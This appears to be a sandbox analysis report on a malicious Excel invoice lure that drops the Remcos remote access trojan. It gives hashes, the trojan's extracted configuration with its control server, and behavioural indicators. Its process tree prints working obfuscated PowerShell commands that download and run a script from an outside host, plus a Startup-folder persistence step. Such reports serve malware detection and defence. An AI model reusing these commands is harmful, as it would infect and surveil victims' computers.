remcos | ce4085be9c0cea2fdaa6145e86166b051222fcc96eac12e1668d803a6b97ebfe

Analysis

max time kernel
161s
max time network
208s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/10/2022, 17:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
USD$19,959.92_ACH_Automation_M A Medical Dermatology & Esthetics.xls
Size 33KB
Sample221003-vmd48agacl
SHA256 ce4085be9c0cea2fdaa6145e86166b051222fcc96eac12e1668d803a6b97ebfe
MD5 a7d04a4e89171657d2a5c6fd29a5ff65
SHA1 b9267d4a42b84f7f0798820dd9a59be020672a8a
SHA512 b2b39e27e257855cd6a819c2b8e6edf9e4490fa6953bbc1ed4d7284bb66227b87f117b27a1d9e1336c9b13abe2e8f4b4ce41b11bc8d1e95eba52c60997fa4b1a
SSDEEP 768:Agk3hOdsylKlgxopeiBNhZFGzE+cL2kdAJlMHzvuPuK:bk3hOdsylKlgxopeiBNhZFGzE+cL2kdu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos zh rat

Malware Config

Extracted

Family

remcos

Botnet

zelthin.dvrlists.com:656

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-V9EYJR
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	684	4844	powershell.exe	81

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
47	684	powershell.exe
66	3948	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
3948	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3948 set thread context of 1436	3948	powershell.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a1000000000020000000000106600000001000020000000fe89dab58f877443745eb067fed62015c94aaf3bf55311fc45984aec495caff3000000000e8000000002000020000000233fa247b254856249bf0a93a7b10d27221fa37a6341b7580fab35ab2a09b0a720000000e3245f693415b87cce0c696cc4d1021f941aa9f3cb235d2221965e454d411ed240000000141101e3f1210ce503e58eaaedbd6d390ea95a5e84666b8aa11c18063a8507a6f2603bdd6c95af8f749b2becbe5a38b4cf18ccabebf2bd29e96c92c9a1b84ba7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e074e2925bd7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B2A77C89-434E-11ED-89AC-F6A3911CAFFB} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2306198127"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a09f2f925bd7d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988123"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a10000000000200000000001066000000010000200000004e238671cf506a423b724dc90532a0e1fc4da5bec75fc3e7efc073ee47bd1ff9000000000e8000000002000020000000ef4af9fbdfc96bbbc61da7cef242b8b10cb8d185e8e3dfcc197a45793dc164ed200000001482b419cf4d43d94de865a444f8bd242c31bbb39680a551340a606f5253c4ee400000000d2df24e518d7e0e40f07020c1c4424bc8debb24a549985f1a95731ffd775e3692fab59b0b895873720c73b06960aad380a49981ce85f86a122dcdeb79ce851d	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2269320010"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2269320010"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988123"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "371589058"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988123"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1648	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
684	powershell.exe
684	powershell.exe
3948	powershell.exe
3948	powershell.exe
1832	powershell.exe
1832	powershell.exe
3948	powershell.exe
3948	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe
Token: SeIncreaseQuotaPrivilege	3948	powershell.exe
Token: SeSecurityPrivilege	3948	powershell.exe
Token: SeTakeOwnershipPrivilege	3948	powershell.exe
Token: SeLoadDriverPrivilege	3948	powershell.exe
Token: SeSystemProfilePrivilege	3948	powershell.exe
Token: SeSystemtimePrivilege	3948	powershell.exe
Token: SeProfSingleProcessPrivilege	3948	powershell.exe
Token: SeIncBasePriorityPrivilege	3948	powershell.exe
Token: SeCreatePagefilePrivilege	3948	powershell.exe
Token: SeBackupPrivilege	3948	powershell.exe
Token: SeRestorePrivilege	3948	powershell.exe
Token: SeShutdownPrivilege	3948	powershell.exe
Token: SeDebugPrivilege	3948	powershell.exe
Token: SeSystemEnvironmentPrivilege	3948	powershell.exe
Token: SeRemoteShutdownPrivilege	3948	powershell.exe
Token: SeUndockPrivilege	3948	powershell.exe
Token: SeManageVolumePrivilege	3948	powershell.exe
Token: 33	3948	powershell.exe
Token: 34	3948	powershell.exe
Token: 35	3948	powershell.exe
Token: 36	3948	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1928	iexplore.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE
1928	iexplore.exe
1928	iexplore.exe
3280	IEXPLORE.EXE
3280	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 4716	684	powershell.exe	94
PID 684 wrote to memory of 4716	684	powershell.exe	94
PID 1928 wrote to memory of 3280	1928	iexplore.exe	97
PID 1928 wrote to memory of 3280	1928	iexplore.exe	97
PID 1928 wrote to memory of 3280	1928	iexplore.exe	97
PID 4716 wrote to memory of 3948	4716	WScript.exe	98
PID 4716 wrote to memory of 3948	4716	WScript.exe	98
PID 4716 wrote to memory of 1832	4716	WScript.exe	100
PID 4716 wrote to memory of 1832	4716	WScript.exe	100
PID 3948 wrote to memory of 4792	3948	powershell.exe	102
PID 3948 wrote to memory of 4792	3948	powershell.exe	102
PID 3948 wrote to memory of 4792	3948	powershell.exe	102
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103
PID 3948 wrote to memory of 1436	3948	powershell.exe	103

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\USD$19,959.92_ACH_Automation_M A Medical Dermatology & Esthetics.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell -WindowStyle Hidden $ErrorActionPreference='SilentlyContinue';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$c50='eW.teN tc' + 'ejbO-weN(';$Ax1='olnwoD.)tnei' + 'lCb'; $c3=')''sj.dapeton\''+pmet:vne$,''sj.tneilC detcetorP/yjoiyud/lm.2ebtgrept//:ptth''(eliFda';$TC=$c3,$Ax1,$c50 -Join '';($TC|% {-join($_[-1..-$_.Length])})|IEX;& ($env:temp+ '\notepad.js')
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:684
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\notepad.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51115155,51115555,51155151,51115515,51155111,51115155,51155515,51155151,55115515,55151115,51151151,51151155,55151111,51155155,51115151,51111551,51151551,51151111,51151515,51111551,55151111,51555151,51151115,51155511,51115515,51111551,51115555,51115155,51155151,51155155,55155555,51555511,51151155,51151551,51155151,51151115,51115155,55155555,51551111,51555111,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } $o00=[char]105 + 'EX';sal P $o00;([system.String]::Join('', $gf))|P } ermkflll
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\WINDOWS\syswow64\notepad.exe
      "C:\WINDOWS\syswow64\notepad.exe"
      4⤵
      PID:4792
  - - C:\WINDOWS\syswow64\notepad.exe
      "C:\WINDOWS\syswow64\notepad.exe"
      4⤵
      PID:1436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\notepad.js' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:3856

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:17410 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:3280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Size 471B
SHA256 4bb13178dccf62921053ef1b62f9bdb994dfd0520741873a60ac2c1484df78ca
MD5 046bedf3b97e782edc5343dc24a1c485
SHA1 ebad04906d01fdb00719463e729f201a043433ae
SHA512 18203014488892166d7c331f8239c1c030fd9831b8040d51b3fdf3d887f867380ff639ccac26e8751b7b13d1dc83e2931f96019783695e7a93c4348046c9fabf
MD5 SHA1 SHA512

Submit Download

7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Size 404B
SHA256 4cfa3d386abb5dd5c53a042b239c721889ad053729ba6767e75d7f534ee225da
MD5 aba7b0daa020012de4c105fa3bc339fc
SHA1 abfb3d25ec46a73ef077a5d5bfecd8f8e724794c
SHA512 98d6857c7b8800f569cd13fad21972bd79a4fbcc1a021b5d771972a155691b8f9f7883303789fb4559a50e354ee6974467803de812b6244a27ca56801488735a
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
MD5 02a1a26525c65a359d41483180eaa6f7
SHA1 c0e2578b92d20e925c1c87016d1a9fccee1ec56f
SHA512 d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c64007357c908e2f0a576c5e4150936773615ddfed17e51cf94d136ad01bf12f
MD5 2f1c34f5acc6c714151a2bb2b5c2a1e8
SHA1 b2b0978b44677380316be13b726bdd37b3e37a68
SHA512 460c0518ce31f12294094b8f576f6bdb8405c0e1ca567cae78fb378cb41ba5e142917d89162316bf5546611f6d9deb916fc74c656656023c16367ec93bfc34d0
MD5 SHA1 SHA512

Submit Download

AgileDotNetRT64.dll

Path C:\Users\Admin\AppData\Local\Temp\73ab9a28-0688-49e7-b77d-eacdd07237df\AgileDotNetRT64.dll
Size 75KB
SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
MD5 42b2c266e49a3acd346b91e3b0e638c0
SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
SSDEEP 1536:mXvHWEbJMwk3HwGTc/1dbJ5xUSns9Ymi5j:ovHsTTI1xUSns9YmEj
MD5 SHA1 SHA512 SSDEEP

Submit Download

notepad.js

Path C:\Users\Admin\AppData\Local\Temp\notepad.js
Size 1KB
SHA256 d57d108d656b409214fc86d91022f54a5e4caf91d68f3becfeabf8f81e7d9f18
MD5 8f77ecbcfd277dbbd60fc8c0bbd58c8d
SHA1 ea32012b5bb038e951e3c8a42ae14f94de6a5bf1
SHA512 61111a8bb2a684ee8054e518d73e766e5c1e073dc24fca03b38f0c5450de570ec9fa0e8abd40ab2195708d57549d00c9e9f078065cdf5307178db2d511c34b85
MD5 SHA1 SHA512

Submit Download

memory/684-140-0x000001E7FF510000-0x000001E7FF532000-memory.dmp

Download

memory/684-144-0x00007FF80BE80000-0x00007FF80C941000-memory.dmp

Download

memory/684-141-0x00007FF80BE80000-0x00007FF80C941000-memory.dmp

Download

memory/1436-164-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/1436-159-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/1436-158-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/1436-156-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/1436-154-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/1648-167-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

Download

memory/1648-134-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

Download

memory/1648-133-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp

Download
